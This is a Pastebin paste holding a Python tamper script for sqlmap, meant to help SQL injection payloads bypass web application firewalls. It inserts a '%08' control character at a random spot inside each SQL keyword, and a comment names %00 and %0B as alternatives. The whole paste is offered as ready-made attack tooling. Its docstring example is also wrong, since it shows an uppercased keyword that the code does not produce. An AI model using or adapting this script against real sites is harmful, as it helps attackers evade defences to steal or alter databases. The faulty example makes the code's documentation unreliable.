Guest User

sqlmap tamper script for bypassing WAF--g4mm4

a guest
Mar 22nd, 2017
989
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.91 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. """
  4. sqlmap tamper script for bypassing WAF
  5. g4mm4 is my hero
  6. """
  7. import re
  8. import random
  9. from lib.core.data import kb
  10. from lib.core.enums import PRIORITY
  11.  
  12. __priority__ = PRIORITY.NORMAL
  13.  
  14. def dependencies():
  15.     pass
  16.  
  17. def g4mm4_inject_tab(_str):
  18.     hash = _str
  19.     hashlist = list(hash)
  20.     _index = random.randint(1, len(_str)-1)
  21.     hashlist.insert(_index, '%08')#%08, %00, %0B as well
  22.     g4mm4 = ''.join(hashlist)
  23.     return g4mm4
  24.  
  25. def tamper(payload, **kwargs):
  26.     """
  27.    Insert random back space position between each keyword character for bypassing WAF
  28.  
  29.    >>> tamper('insert')
  30.    'INSERT'
  31.    """
  32.  
  33.     retVal = payload
  34.  
  35.     if payload:
  36.         for match in re.finditer(r"[A-Za-z_]+", retVal):
  37.             word = match.group()
  38.  
  39.             if word.upper() in kb.keywords:
  40.                 retVal = retVal.replace(word, g4mm4_inject_tab(word))
  41.  
  42.     return retVal
Advertisement
Add Comment
Please, Sign In to add comment